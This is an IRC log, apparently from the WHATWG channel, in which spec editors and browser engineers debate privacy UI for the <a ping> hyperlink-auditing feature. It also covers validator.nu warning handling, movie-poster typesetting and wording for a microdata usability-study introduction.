[21:27:00.0000] <Hixie>
i'd remove that and other privacy-related controls and simplify the whole thing to the aforementioned switch

[21:27:01.0000] <Hixie>
but then, i'm no ui expert

[21:27:02.0000] <othermaciej>
I think the UI issue here is that normal people don't care about these settings and never touch them, but privacy nuts want to know exactly what is happening

[21:29:00.0000] <Hixie>
sure, but for such small demographics you'd have extensions to expose the details

[21:29:01.0000] <Hixie>
i'm just talking about the main UI for all users

[21:29:02.0000] <othermaciej>
we don't currently have a way in the UI to block Referer or non-cookie forms of state other than Private Browsing

[21:30:00.0000] <othermaciej>
Safari doesn't currently have extensions (other than unsupported hacks)

[21:31:00.0000] <othermaciej>
I guess based on that, the logical conclusion is that Private Browsing should be the UI to turn off ping, but I suspect some people will want to turn it off without crippling their browsing experience quite that much

[21:33:00.0000] <othermaciej>
I will ask our UI people what they think

[21:33:01.0000] <othermaciej>
/me is unclear on the other issue

[21:34:00.0000] <Hixie>
other issue?

[21:34:01.0000] <othermaciej>
I'm not sure why using POST for hyperlink auditing is any worse than the possibility of POSTing a form with .submit(), or using an XMLHttpRequest with POST

[21:35:00.0000] <Hixie>
it's not

[21:35:01.0000] <Hixie>
using POST is the right thing to do

[21:35:02.0000] <othermaciej>
I'm looking at the issue tracker issues about hyperlink auditing

[21:35:03.0000] <othermaciej>
I don't actually understand that one

[21:35:04.0000] <othermaciej>
ping has to be a non-idempotent method to work

[22:12:00.0000] <ifette>
othermaciej: I am not sure that there is a clear mapping between privacy and ping

[22:13:00.0000] <ifette>
for instance, if I'm concerned ping isn't working, i can just force a user through a redirect

[22:13:01.0000] <othermaciej>
ifette: privacy as a general concept, or privacy as in Private Browsing mode?

[22:13:02.0000] <ifette>
(and cause the user to incur latency)

[22:13:03.0000] <ifette>
othermaciej: the latter

[22:14:00.0000] <othermaciej>
presumably Private Browsing mode would not reveal to the server up front that <a ping> won't do anything

[22:14:01.0000] <othermaciej>
(likewise for any other way of turning it off)

[22:14:02.0000] <ifette>
presumably you can figure out that the user is in private browsing mode based on some of the other discussions around local storage and that API being disabled, and so can fall back to redirects :)

[22:15:00.0000] <ifette>
I just don't get all the concern about a ping. Great, so you know the user clicked a link... okay. Any messaging to users is going to be deceptive for the majority of them. I can't just have a checkbox that says "disable <a ping>", but if I try to say "disable link tracking"

[22:15:01.0000] <ifette>
that would just be dishonest given that there's so many other ways to do it

[22:16:00.0000] <ifette>
Frankly, I would much rather say "look, websites can figure out if you clicked on a link. It's been that way for a long time. Live with it. <a ping> lets life move on as it has, but can make your browsing faster

[22:16:01.0000] <othermaciej>
that would be an argument to have no UI at all to turn it off

[22:16:02.0000] <ifette>
... by not having to deal with redirects etc"

[22:16:03.0000] <ifette>
othermaciej: excellent idea!

[22:16:04.0000] <Hixie>
ifette: you can detect if the browsers supports ping

[22:17:00.0000] <jorlow>
Hixie: doesn't that support ifette's argument?

[22:17:01.0000] <Hixie>
jorlow: how so?

[22:18:00.0000] <ifette>
What's the real use case here? What's the concern? If it's "evil google will know all the links I'm clicking", that information is already known, and furthermore if I want to be evil, I can say "If I never got an a ping response with this cookie, then for this cookie don't use a ping and use redirects instead"

[22:18:01.0000] <ifette>
this is valuable information to webmasters

[22:18:02.0000] <jorlow>
if aping isn't supported (as it wouldn't be in private browsing) then the page could just fall back to other methods

[22:18:03.0000] <ifette>
they will get it one way or another

[22:18:04.0000] <othermaciej>
ifette, jorlow: if you guys think there should be no UI requirement for ping, not even a SHOULD-level requirement, then you should make that case to Hixie

[22:18:05.0000] <ifette>
we might as well make it not suck for users

[22:18:06.0000] <ifette>
I will happily do so, if I can find the right thread. I will admit to being swamped via email.

[22:19:00.0000] <Hixie>
the two main reasons we (google) want ping="" is (a) allowing us to honour user privacy desires without them having to use a cookie to opt-out, and (b) latency improvements from not redirecting.

[22:19:01.0000] <othermaciej>
there is no current email thread

[22:19:02.0000] <Hixie>
so if the browser supports ping, we wouldn't route around it being disabled

[22:19:03.0000] <othermaciej>
ifette: I'm just saying that if you think there should be no browser UI to turn it off, then you shouldn't argue with me, because I didn't make or ask for the spec requirement to have it

[22:20:00.0000] <ifette>
We wouldn't route around it, others might

[22:20:01.0000] <jorlow>
hm....i guess it's true that aping makes it easier for sites to "do the right thing" WRT privacy

[22:20:02.0000] <jorlow>
I was only looking at it from the "evil" side of things

[22:20:03.0000] <Hixie>
i'm sure there are sites who would indeed route around it

[22:20:04.0000] <Hixie>
but hey, that's their problem

[22:20:05.0000] <ifette>
othermaciej: wasn't trying to argue with you, was simply stating that tying it to private browsing might not make sense

[22:20:06.0000] <othermaciej>
it's true that UI to turn it off won't help you against a malicious site

[22:21:00.0000] <othermaciej>
ifette: if there was UI for it at all, then I think tying it to private browsing would make sense, because private browsing tries to turn off everything

[22:21:01.0000] <jorlow>
in that case, i suppose linking it with private browsing might make sense

[22:21:02.0000] <jorlow>
at least in safari

[22:22:00.0000] <ifette>
It seems to me that the following are probable: 1) if a ping isn't reliable / everyone turns it off because it's something that the media gets hyped up about like cookies, no one will use it and just use redirects instead 2) any option presented to users would be unintelligable and over promise or seem like a no-brainer to check c) none of this will matter to "evil" sites

[22:22:01.0000] <othermaciej>
under private browsing, a malicious site could tell what links you follow off their page by other means, but could not tie it back to you due to lack of cookies

[22:22:02.0000] <othermaciej>
though to be fair, we don't yet have a way to turn off your IP address

[22:22:03.0000] <othermaciej>
well, cookies can be turned off, but in practice very few people do

[22:22:04.0000] <ifette>
othermaciej: i view private browsing as "don't leave a trace of what I do on my computer", not "please use TOR and make me as anonymous as possible"

[22:22:05.0000] <Hixie>
if it's "something that the media gets hyped up about like cookies", then people won't turn it off.

[22:23:00.0000] <ifette>
othermaciej: if you say "private browsing mode turns off <a ping>", what do you say to a real user? 

[22:23:01.0000] <othermaciej>
most sites consider cookies reliable enough for their needs, even though there are a small minority of users who turn them off entirely

[22:23:02.0000] <othermaciej>
a few sites use Flash cookies instead, though you can turn off plugins to get around those

[22:23:03.0000] <Hixie>
i think if the preference is a serious one like i proposed earlier, and not just one that disabled just this feature, that it won't be turned off just for the sake of it, but only by people who actually want their privacy protected

[22:23:04.0000] <othermaciej>
ifette: our private browsing explanation dialog is hardly a paragon of clarity as is

[22:24:00.0000] <ifette>
othermaciej: Yes, people still use cookies, not the best example. Was trying to say that it's something real users don't well understand, and that in general when you mention cookies people think "bad" without understanding

[22:24:01.0000] <ifette>
othermaciej: :)

[22:24:02.0000] <othermaciej>
>95% of people will never change any privacy-related preferences

[22:25:00.0000] <ifette>
Hixie: wtf. "Want their privacy protected" -- if you say that to users, what user is going to say "No, I don't want my privacy protected, let's leave this unchecked" :)

[22:25:01.0000] <othermaciej>
on the other hand, lack of ping would probably break the web much less visibly than lack of cookies or lack of plugins

[22:25:02.0000] <ifette>
I guess my biggest beef is that I don't want people permanently using "private mode" because tat's not a good user experience

[22:25:03.0000] <ifette>
so I resist tying the option to that

[22:25:04.0000] <Hixie>
ifette: hence my proposal, which isn't such a checkbox. see above.

[22:26:00.0000] <othermaciej>
I don't think anyone permanently uses Private Browsing mode, or would

[22:26:01.0000] <othermaciej>
but I don't think a separate setting for <a ping> is worth its weight in pixels

[22:26:02.0000] <jorlow>
btw, where can i find a copy of the latest 'a ping' proposal?

[22:26:03.0000] <othermaciej>
and I don't think Hixie's suggested tri-state setting would be very understandable

[22:26:04.0000] <othermaciej>
jorlow: it's in the HTML5 spec

[22:26:05.0000] <Hixie>
jorlow: http://whatwg.org/html5

[22:26:06.0000] <othermaciej>
look for "hyperlink auditing"

[22:26:07.0000] <ifette>
Correct -- but then there comes a question, if it's only tied to private browsing mode, is that really a good option?

[22:27:00.0000] <ifette>
if i'm a user freaked out by a ping

[22:27:01.0000] <othermaciej>
private browsing mode does lots of things that we don't offer as normal user settings

[22:27:02.0000] <jorlow>
ahh...thanks http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#hyperlink-auditing

[22:27:03.0000] <ifette>
sigh, sure

[22:27:04.0000] <Hixie>
if you're a user freaked out by ping, then you get an extension that gives you fine-grained control

[22:27:05.0000] <othermaciej>
if users really freaked out about it, we would probably add a separate setting

[22:27:06.0000] <Hixie>
most users aren't going to have a clue or care

[22:28:00.0000] <othermaciej>
if too many people used the setting, then it would indeed undermine the value of the feature

[22:28:01.0000] <ifette>
the sad part is that tying it to private browsing mode might have an opposite effect

[22:28:02.0000] <ifette>
let's say people use private browisng mode for porn

[22:28:03.0000] <othermaciej>
but if that many people are that freaked out about it, then omitting the setting would just make browsers with <a ping> lose market share

[22:28:04.0000] <ifette>
that would imply that porn sites would not get good results from a ping

[22:28:05.0000] <ifette>
and therefore would still use redirects

[22:28:06.0000] <ifette>
and so the effect of turning it off in private browsing mode would be minimal

[22:29:00.0000] <jorlow>
well, users shouldn't be freaked out....because nothing is worse than the state of things today

[22:29:01.0000] <othermaciej>
they shouldn't be, but the concern about having a preference is based on the theory that a lot of them will

[22:29:02.0000] <jorlow>
but of course, that doesn't necessarily mean the media won't write a story to the contrary

[22:29:03.0000] <ifette>
I think my preference is really to say "Look, sites can know what link you click. That's the way it is today, we're not changing anything except reducing some latency, live with it. If you want more controls over your data, let's have a more comprehensive discussion and figure soething out"

[22:30:00.0000] <othermaciej>
my expectation: only a small minority of users will care enough to take action

[22:30:01.0000] <jorlow>
Well, maybe the preference can be a check box with a somewhat cryptic name

[22:30:02.0000] <othermaciej>
failing to give those people a means to take action without switching browsers will generate a huge amount of negative PR

[22:30:03.0000] <jorlow>
i mean, most users don't even know what a cookie is...even today

[22:30:04.0000] <ifette>
jorlow: try getting that past ben ;-)

[22:30:05.0000] <ifette>
othermaciej: Yes, except here "take action" is kinda lame

[22:30:06.0000] <jorlow>
'disable hyperlink auditing'....if users really care, they'll know what it is

[22:31:00.0000] <jorlow>
and users won't turn it off in a misguided attempt at 'privacy'

[22:31:01.0000] <othermaciej>
ifette: even if it's a UI placebo, failing to have it will probably make a vocal minority very upset

[22:31:02.0000] <ifette>
othermaciej: wouldn't be the first time

[22:31:03.0000] <jorlow>
that's probably true........

[22:31:04.0000] <ifette>
othermaciej: we took out the options to enable sslv2

[22:31:05.0000] <ifette>
othermaciej: and all sorts of other crap options

[22:31:06.0000] <ifette>
othermaciej: e.g. we don't let users disable javascript

[22:32:00.0000] <ifette>
othermaciej: but we're supposed to let users disable <a ping> ?

[22:32:01.0000] <Hixie>
just tie it to the same as the third party cookie pref, like i suggested

[22:32:02.0000] <Hixie>
along with the other privacy related features

[22:32:03.0000] <ifette>
Hixie: Where is your suggestion

[22:33:00.0000] <ifette>
Hixie: Want to make sure I don't misinterpret it. I really don't like tying it to third party cookies if I understand you correctly, as they have nothing to do with each other

[22:33:01.0000] <Hixie>
that way people who really do value privacy over compatibility get what they want, and the others don't change the pref unknowingly

[22:33:02.0000] <othermaciej>
ifette: Safari has very few prefs, and I wouldn't be keen on adding one for this

[22:33:03.0000] <ifette>
Hixie: I may not want some advertiser to know what I'm doing on Google, but I'm fine with Google knowing what I'm searching for on Google

[22:33:04.0000] <Hixie>
http://krijnhoetmer.nl/irc-logs/whatwg/20090908#l-134

[22:33:05.0000] <Hixie>
ifette: ^

[22:33:06.0000] <ifette>
ty

[22:33:07.0000] <othermaciej>
Hixie: in the Safari UI, we don't like to face people with an arbitrary tradeoff with unknowable consequences

[22:33:08.0000] <othermaciej>
like, we'd never have a slider with "speed" on one end and "security" on the other

[22:34:00.0000] <ifette>
Hixie: eep

[22:34:01.0000] <Hixie>
othermaciej: you already have "Accept cookies: ( ) Always ( ) Never ( ) Only sites I visit"

[22:34:02.0000] <ifette>
+1 maciej

[22:34:03.0000] <Hixie>
othermaciej: which is pretty much as arbitrary

[22:35:00.0000] <othermaciej>
sure, but we present that in terms of concrete result, not "more compatible" vs "more private"

[22:35:01.0000] <othermaciej>
likewise we don't present "Enable Java" as "Make some sites work, but damn will they be slow and there's probably horrible security consequences"

[22:35:02.0000] <ifette>
Hixie: If I don't let users turn off something as major as JavaScript, I'm sure as hell not letting them turn off some random thing like <a ping>. Down that road lies the path to hell. I am also not tying it to Incognito, as I think again it has little to do with it and won't actually solve any problem

[22:36:00.0000] <othermaciej>
or "Enable plug-ins" as "Support casual games and annoying ads"

[22:36:01.0000] <ifette>
Hixie: I'm happy to send an email, but I would not support anything beyond a MAY for the option

[22:37:00.0000] <ifette>
(and frankly saying that you MAY have a checkbox option is really not saying much)

[22:37:01.0000] <Hixie>
othermaciej: ok, then label the three notches as what they disabled or enable :-)

[22:38:00.0000] <ifette>
Frankly, unless you're talking a per-site basis, I don't know that options about Flash or Java make sense

[22:38:01.0000] <Hixie>
ifette: it would be politically inconvenient for me to change the "should" to a "may", but i don't think it matters -- "should" just means you have to have a good reason, and "We want our UA to be usable" is a good reason

[22:38:02.0000] <othermaciej>
I browse with Java turned off all the time

[22:39:00.0000] <ifette>
othermaciej: Java yes, I concede you that. Flash, not so much.

[22:39:01.0000] <othermaciej>
well, not having Flash is livable on my iPhone, probably not so much on a desktop browser

[22:39:02.0000] <ifette>
othermaciej: stop making good points :P

[22:40:00.0000] <roc>
we need a stalking horse browser to ship <a ping> and take all the flak

[22:40:01.0000] <othermaciej>
but we do get frequent user requests to augment the general "Enable plug-ins" setting with a separate "Enable Flash", so they can turn off just Flash

[22:41:00.0000] <othermaciej>
roc: I think ifette just volunteered Chrome - presumably with the catchy slogan, "What's the concern? Evil google will know all the links I'm clicking?"

[22:41:01.0000] <roc>
works for me

[22:41:02.0000] <ifette>
othermaciej: While I might be fine with that string, I'm pretty sure legal would shoot it down :(

[22:41:03.0000] <Hixie>
on a completely different front, i'm working through some microdata feedback

[22:41:04.0000] <Hixie>
and i have to say

[22:42:00.0000] <Hixie>
it's really

[22:42:01.0000] <Hixie>
really

[22:42:02.0000] <Hixie>
really hard to do a good job when you care so little about the technology

[22:42:03.0000] <ifette>
Can we add some more markup?

[22:42:04.0000] <ifette>
<main> or something?

[22:42:05.0000] <ifette>
;-)

[22:42:06.0000] <ifette>
and plese, let's have some more OWL stuff in there

[22:42:07.0000] <ifette>
(sorry, I'm re-living some nightmares, waiting for @jorlow to slap me awake)

[22:45:00.0000] <jorlow>
ifette: what are you talking about?  it's 1:47pm...you're still sleeping?

[22:45:01.0000] <othermaciej>
I think we should upgrade Web Ontology Language to Ontology Representation Language for You

[22:46:00.0000] <othermaciej>
because I'm pretty sure there's no better OWL than ORLY

[23:15:00.0000] <MikeSmith>
othermaciej: you feeling any better than you were at the end of last week?

[23:16:00.0000] <othermaciej>
MikeSmith: I'm down from "violently severely sick" to "really sick"

[23:16:01.0000] <MikeSmith>
geez

[23:16:02.0000] <MikeSmith>
any idea what it is? virus?

[23:16:03.0000] <othermaciej>
probably

[23:17:00.0000] <othermaciej>
some sort of flu I think, hopefully not one of the animal flavored varieties

[23:17:01.0000] <othermaciej>
I don't have a fever any more but I am still really congested, throat is sore, stomach somewhat upset, etc

[23:18:00.0000] <othermaciej>
Saturday was really terrible though, I hadn't realized how excruciating it is to fly with a bad cold/flu - what with the air pressure changes

[23:18:01.0000] <MikeSmith>
yeah

[23:21:00.0000] <jorlow>
eww...yeah  :-(

[23:21:01.0000] <jorlow>
the only time i've ever gone to the doctor for flu like symptoms is when i had to fly

[23:22:00.0000] <jorlow>
and i was sure glad i did

[23:25:00.0000] <othermaciej>
well, this was after getting hopped up on all the non-prescription meds I could get in the middle of the night in Cambridge

[23:25:01.0000] <othermaciej>
(thank goodness for that 7-Eleven in Tech Square)

[23:26:00.0000] <MikeSmith>
yeah, that place seems to be about the only thing close by that's open late

[23:28:00.0000] <othermaciej>
I ended up going there around 2 AM in hopes of cold medicine and fluids

[23:28:01.0000] <othermaciej>
there were a bunch of MIT kids there

[23:28:02.0000] <othermaciej>
reminds me of my younger days

[23:30:00.0000] <othermaciej>
I'm glad such archectypes as Purple Haired Girl, Guy with Nerdy Slogan T-Shirt, Asian Guy in Cargo Shorts and Hippie Girl in Long Dress are still to be found at the ol' Institute

[23:30:01.0000] <MikeSmith>
heh

[23:47:00.0000] <Hixie>
man, the bottom part of movie posters are a huge pain in the asss to typeset

[23:47:01.0000] <Hixie>
i wonder what tools they use to do it

[23:48:00.0000] <othermaciej>
you mean where they have all the tiny little mandatory credits?

[23:49:00.0000] <Hixie>
yeah

[23:49:01.0000] <othermaciej>
what is so hard about typesetting it?

[23:49:02.0000] <Hixie>
the "EDITED BY" bit

[23:49:03.0000] <Hixie>
check the bottom of http://www.comingsoon.net/imageGallery/Ninja_Assassin/large/hr_Ninja_Assassin_poster.jpg out

[23:49:04.0000] <Hixie>
look for "PRODUCTION DESIGNER"

[23:49:05.0000] <Hixie>
notice the following:

[23:50:00.0000] <Hixie>
1. the gap between the start of the longest of those two words to the word before it is consistent across all such cases

[23:50:01.0000] <Hixie>
2. the top of PRODUCTION lines up with the top of the line, the bottom of DESIGNER with the bottom of the line

[23:50:02.0000] <Hixie>
3. the line height of that two-line thingy is proportional to the line height of the main text

[23:51:00.0000] <othermaciej>
I presume this is all down to careful selection of font sizes

[23:51:01.0000] <hsivonen>
Hixie: are you trying to replicate the layout using CSS?

[23:51:02.0000] <Hixie>
hsivonen: actually i was trying to do it using pages, but it would also be quite hard to get right in CSS

[23:52:00.0000] <Hixie>
i actually can't find a non-hacky way to do it in Pages

[23:52:01.0000] <othermaciej>
presumably in a layout tool with guide lines this is all pretty simple

[23:52:02.0000] <Hixie>
othermaciej: well you can't just overlap text, since if you then edit any one part of it, you'd have to manually retypeset the rest

[23:52:03.0000] <Hixie>
othermaciej: so it has to be something that supports nested two-line text

[23:52:04.0000] <Hixie>
which Pages doesn't

[23:53:00.0000] <Hixie>
in CSS you can do it using display:inline-block, but then getting the font sizes right is impossible

[23:53:01.0000] <Hixie>
since you don't know your font metrics ahead of time

[23:53:02.0000] <othermaciej>
I guess you'd want something like FrameMaker

[23:53:03.0000] <Hixie>
i guess

[23:53:04.0000] <othermaciej>
I'm not overly familiar with Pages

[23:54:00.0000] <othermaciej>
but yeah, you're right, this is a typographical oddity that you rarely see anywhere but movie posters

[00:03:00.0000] <MikeSmith>
hsivonen: if/when you have some time, I wanted to ask you if you think it would be worthwhile to add ability to the validator.nu for emitting warnings to the datatype-checking code

[00:03:01.0000] <MikeSmith>
hsivonen: as opposed to just errors

[00:04:00.0000] <hsivonen>
MikeSmith: it could well be worthwhile. the hard question is how to do it

[00:04:01.0000] <MikeSmith>
yeah

[00:04:02.0000] <hsivonen>
the datatypes are not supposed to have side effects

[00:04:03.0000] <MikeSmith>
ah

[00:05:00.0000] <hsivonen>
and in principle, it's ok for Jing to call into a datatype, get an error, call into another datatype, not get an error and prefer the latter and not show the first error

[00:06:00.0000] <hsivonen>
also, in principle, the Java interface stuff should be such that the datatype jar can be used in a vanilla Jing

[00:07:00.0000] <MikeSmith>
hsivonen: OK, I begin to see now

[00:07:01.0000] <hsivonen>
the whole thing has been designed for a boolean notion of validity without any shades in between

[00:07:02.0000] <MikeSmith>
that's the real problem

[00:07:03.0000] <virtuelv>
I'd have thought that the bottom of those movie posters is laid out completely in Photoshop or Illustrator

[00:07:04.0000] <virtuelv>
in other words, manually, with a lot of effort and pain

[00:09:00.0000] <MikeSmith>
hsivonen: I have come to think that think that boolean notion of validity is a serious flaw of grammar-based schema checking

[00:09:01.0000] <hsivonen>
MikeSmith: maybe filing a bug against upstream Jing could elicit some insights

[00:09:02.0000] <MikeSmith>
OK, I can try that

[00:10:00.0000] <hsivonen>
MikeSmith: I agree with your observation about grammars

[00:10:01.0000] <hsivonen>
Hixie: OmniGraffle may work better for this use case than Pages

[00:11:00.0000] <Hixie>
possibly

[00:12:00.0000] <MikeSmith>
hsivonen: the specific problem that led me to ask about this is the bug about language tags that AryehGregor reported a couple of days ago

[00:12:01.0000] <MikeSmith>
http://bugzilla.validator.nu/show_bug.cgi?id=640

[00:12:02.0000] <ttepasse>
I would expect handcrafted SVG in #whatwg.

[00:12:03.0000] <Hixie>
you'd expect SVG in #whatwg? :-)

[00:12:04.0000] <hsivonen>
ttepasse: Pages is already shiny Cocoa payware

[00:12:05.0000] <ttepasse>
s/SVG/canvas 2d/ ;)

[00:13:00.0000] <hsivonen>
MikeSmith: given the constraints, I suggest making stuff that should be conforming not emit any messages for now even if it's obsolete/deprecated

[00:13:01.0000] <hsivonen>
which reminds me that I should redeploy V.nu

[00:14:00.0000] <ifette>
Any chance you can use Ruby, with appropriate CSS to get the sizing right?

[00:14:01.0000] <ifette>
(re: "Production Designer")

[00:14:02.0000] <ifette>
(yes, it's a bit of a hack, but it's the only thing I can think of that might let you get two lines on one line)

[00:15:00.0000] <heycam>
display:inline-box would too

[00:17:00.0000] <MikeSmith>
hsivonen: not emitting messages for those cases seems like declaring defeat to me. I would personally really rather not do that unless you think there's no practical way to work around it. even if it ends up being kind of a messy way

[00:18:00.0000] <hsivonen>
MikeSmith: ok

[00:19:00.0000] <Hixie>
ifette, heycam: the problem with CSS is getting the font metrics right; the layout itself is easy to achieve

[00:20:00.0000] <MikeSmith>
hsivonen: I'm willing to spend some time on it this week at least. If we can't some workaround figured out, then I guess can comment out the reporting about the deprecated stuff

[00:20:01.0000] <MikeSmith>
hsivonen: so here's a stupid idea: we include some magic substring in the NewDatatypeException message for warning-level cases

[00:21:00.0000] <MikeSmith>
and that substring would show up in messages if anybody used the datatypes outside of the v.nu system

[00:21:01.0000] <MikeSmith>
but the error-reporting backend could check for that magic substring and then make those messages warnings instead of errors

[00:23:00.0000] <MikeSmith>
I don't know how do-able that is in the current backend. or whether you think it'd even be a good idea to do it at all

[00:24:00.0000] <hsivonen>
MikeSmith: It's easy to put a flag on the exception so that the RELAX NG semantics of the result are "invalid" but the V.nu front end downgrades the message type (and the validity outcome)

[00:24:01.0000] <hsivonen>
MikeSmith: what's hard is making the RELAX NG semantics be that the result is valid

[00:24:02.0000] <hsivonen>
MikeSmith: I guess this is a "theoretical purity" kind of point

[00:25:00.0000] <hsivonen>
MikeSmith: I think you can't detect it with the current schema

[00:25:01.0000] <hsivonen>
MikeSmith: but in principle, it changes the generic reuse characteristics of the datatype lib

[00:25:02.0000] <hsivonen>
MikeSmith: maybe in this case, it's anyway the best solution to make the exception have a flag that tells V.nu to downgrade the message

[00:28:00.0000] <hsivonen>
It seems like there are no exceptions to the rule that non-ASCII supersets are security holes: http://mail.apps.ietf.org/ietf/charsets/msg01846.html

[00:29:00.0000] <othermaciej>
I don't think browsers can stop accepting UTF-16 though

[00:39:00.0000] <MikeSmith>
hsivonen: OK, I see what you're saying about the problem still being to have RELAX NG semantic be that it's valid

[00:39:01.0000] <MikeSmith>
hsivonen: so instead, what about just having the datatype library not throw the exception at all if its used outside of validator.nu?

[00:40:00.0000] <MikeSmith>
I don't know how doable that might be

[00:40:01.0000] <hsivonen>
MikeSmith: that's a possibility. (you could still detect the implementation by feeding V.nu a contrived custom schema, but I guess that doesn't matter in practice)

[00:41:00.0000] <hsivonen>
MikeSmith: You could have a Java system property for toggling this behavior

[00:42:00.0000] <MikeSmith>
OK. seems like that route is probably the best to try

[00:42:01.0000] <MikeSmith>
unless we can manage to come up with something better in the mean time, I'll work on writing up a patch for that

[00:42:02.0000] <MikeSmith>
some time this week

[00:43:00.0000] <hsivonen>
I've repointed the validator.nu and html5.validator.nu hostnames on the DNS level

[00:43:01.0000] <hsivonen>
(so that I can do a dist upgrade on the other server)

[00:43:02.0000] <hsivonen>
I hope nothing breaks...

[00:44:00.0000] <hsivonen>
MikeSmith: I *think* I have deployed your recent changes

[00:46:00.0000] <MikeSmith>
hsivonen: thanks. fwiw, I've been running from my workspace (with my commits) with no problems. So I don't think those will break anything.

[00:46:01.0000] <MikeSmith>
I didn't sync up yet to Sam's change, though

[01:15:00.0000] <Hixie>
wow, running the microwave totally killed my wifi network

[01:15:01.0000] <Hixie>
i wonder if the other times i have dropouts of the network is because of neighbours running microwaves

[02:09:00.0000] <Hixie>
gah

[02:09:01.0000] <Hixie>
so hard to write an intro section for microdata

[02:10:00.0000] <Hixie>
complete this sentence: "Microdata allows you to layer lists of name-value pairs on top of Web pages, so that"

[02:10:01.0000] <Hixie>
...in a way that makes Web authors think "ooh, cool"

[02:10:02.0000] <jgraham>
unicorns can sprinkle magic fairy dust everywhere, causing world peace and happiness

[02:11:00.0000] <Hixie>
it also has to be accurate.

[02:11:01.0000] <jgraham>
Oh? I assumed that was accurate given the intensity of the feeling that the topic has generated

[02:12:00.0000] <Hixie>
i believe a lot of people believe that it is accurate, yes

[02:12:01.0000] <Hixie>
but sadly it is not

[02:12:02.0000] <jgraham>
AH

[02:12:03.0000] <jgraham>
s/AH/Ah/

[02:12:04.0000] <Hixie>
here's what i came up with:

[02:12:05.0000] <Hixie>
Microdata allows you to layer lists of name-value pairs on top of Web

[02:12:06.0000] <Hixie>
pages, so that JavaScript scripts, search engines, and other tools can

[02:12:07.0000] <Hixie>
extract that data from the page directly instead of you having to

[02:12:08.0000] <Hixie>
provide this data in a separate file.

[02:13:00.0000] <benward>
"Microdata is a mechanism apply structured-data objects within web pages…" ?

[02:13:01.0000] <jgraham>
your "this" doesn't match your "that"

[02:13:02.0000] <benward>
‘to apply’, even

[02:13:03.0000] <Hixie>
benward: the "what" is easy, it's the "so that..." part that's hard

[02:13:04.0000] <Hixie>
jgraham: did s/this data/it/

[02:14:00.0000] <othermaciej>
Hixie: you may want to say something about "reliably" extracting the data from the page to contrast with more hackish sorts of "screen scraping" extraction

[02:15:00.0000] <Lachy>
just be honest and say "Microdata allows you to add additional, mostly useless metadata in a web page so that you can feel good about contributing to growth of the Semantic Web"

[02:15:01.0000] <boblet>
“Microdata allows you to easily add machine-readable arbitrary data as name-value pairs to web pages”…?

[02:15:02.0000] <Hixie>
boblet: that's still just the "what"

[02:16:00.0000] <othermaciej>
Lachy: see, this is why you're not in marketing

[02:16:01.0000] <hsivonen>
Hixie: indeed, it's hard to write accurate marketing intros in specs. Doing what the XHTML2 WG's specs have is easier.

[02:16:02.0000] <Hixie>
Lachy: that won't provide the users in this usability study with adequate incentive for us to get useful results

[02:16:03.0000] <Hixie>
hsivonen: it's not for a spec, it's for the intro we give to the usability study participants

[02:16:04.0000] <Hixie>
othermaciej: now i have:

[02:16:05.0000] <Hixie>
Microdata allows you to layer lists of name-value pairs on top of Web

[02:16:06.0000] <Hixie>
pages, so that JavaScript scripts, search engines, and other tools can

[02:16:07.0000] <Hixie>
extract that data from the page directly, instead of you having to

[02:16:08.0000] <Hixie>
provide it in a separate file, or them having to use screen scraping.

[02:16:09.0000] <hsivonen>
Hixie: ah

[02:17:00.0000] <othermaciej>
Hixie: that's pretty good -- adding a concrete example might help too

[02:17:01.0000] <Hixie>
oh they're getting a whole bunch of those

[02:17:02.0000] <Lachy>
oh, I thought it was for the spec.

[02:17:03.0000] <othermaciej>
all righty then

[02:17:04.0000] <Hixie>
othermaciej: http://damowmow.com/playground/microdata/001/

[02:18:00.0000] <jgraham>
/me hopes the participants in this study don't read the logs

[02:19:00.0000] <boblet>
…“This data can then be easily accessed by scripts, search engines and other tools, giving authors a simple yet open-ended way to extend HTML”

[02:19:01.0000] <Hixie>
jgraham: if they do, they're far too close to the project :-)

[02:19:02.0000] <Lachy>
Hixie, http://damowmow.com/playground/microdata/001/blog.html seems to be lacking the microdata

[02:19:03.0000] <jorlow>
is there any easy way for me to know what browsers support features that have been pulled out of the html5 spec?

[02:20:00.0000] <jorlow>
for example workers

[02:20:01.0000] <Hixie>
boblet: closer, but it fails at the end there where it turns into blue sky nonsense :-)

[02:20:02.0000] <boblet>
/me wonders if he really understands Microdata enough to be contributing :)

[02:20:03.0000] <boblet>
har

[02:20:04.0000] <Hixie>
boblet: don't worry, i don't understand it enough either

[02:20:05.0000] <Hixie>
Lachy: -annotated files have it

[02:20:06.0000] <Lachy>
oh

[02:21:00.0000] <othermaciej>
jorlow: asking, or testing

[02:21:01.0000] <boblet>
all us designer-y types love blue-sky nonsense ;-) well, depending on the shade of blue of course

[02:21:02.0000] <othermaciej>
jorlow: in the case of Workers, I think the answer is recent WebKit-based browsers and recent Gecko-based browsers (most notably Safair, Chrome and Firefox, assuming Chrome has actually shipped the support)

[02:22:00.0000] <jorlow>
othermaciej: it's shipping in chrome 3

[02:22:01.0000] <jorlow>
which is in beta

[02:22:02.0000] <jorlow>
so no opera?

[02:23:00.0000] <othermaciej>
I don't believe it's in Opera yet, but testing Opera 10 would tell more definitively

[02:23:01.0000] <jorlow>
and it's too bad we don't have the html5 spec annotations for these others specs...  :-/

[02:23:02.0000] <othermaciej>
I wouldn't put too much faith in those annotations being up to date in any case

[02:23:03.0000] <jorlow>
othermaciej: well, it's just a presentation to googlers....so I don't feel like putting in that much effort  :-)

[02:24:00.0000] <boblet>
Microdata is primarily a way to extend HTML’s data structures though… right? To add data that can‘t be included via a predefined method like an existing element…

[02:24:01.0000] <jorlow>
thanks for the pointers tho

[02:24:02.0000] <hsivonen>
boblet: no, it's a way to overlay another datastructure on top of an HTML document

[02:24:03.0000] <hsivonen>
boblet: it doesn't extend the data structures of the page itself

[02:24:04.0000] <Hixie>
what hsivonen said

[02:25:00.0000] <othermaciej>
Hixie: those seem like good examples

[02:25:01.0000] <Hixie>
cool

[02:26:00.0000] <hsivonen>
Hixie: you should ask the RDFa TF to review your study setup before hand 

[02:26:01.0000] <othermaciej>
too bad the blog one has to rely so much on invisible or duplicate data

[02:27:00.0000] <Hixie>
hsivonen: i'll be lucky if i've finished the material before the study starts

[02:27:01.0000] <Hixie>
othermaciej: well if you want to encode data that's not in the page, there's not much choice

[02:28:00.0000] <Hixie>
unless you mean something else

[02:28:01.0000] <boblet>
hsivonen: thanks for the clarification

[02:29:00.0000] <boblet>
oh btw there’s been a big uptick of interest in HTML5 in Japan in the last month

[02:29:01.0000] <othermaciej>
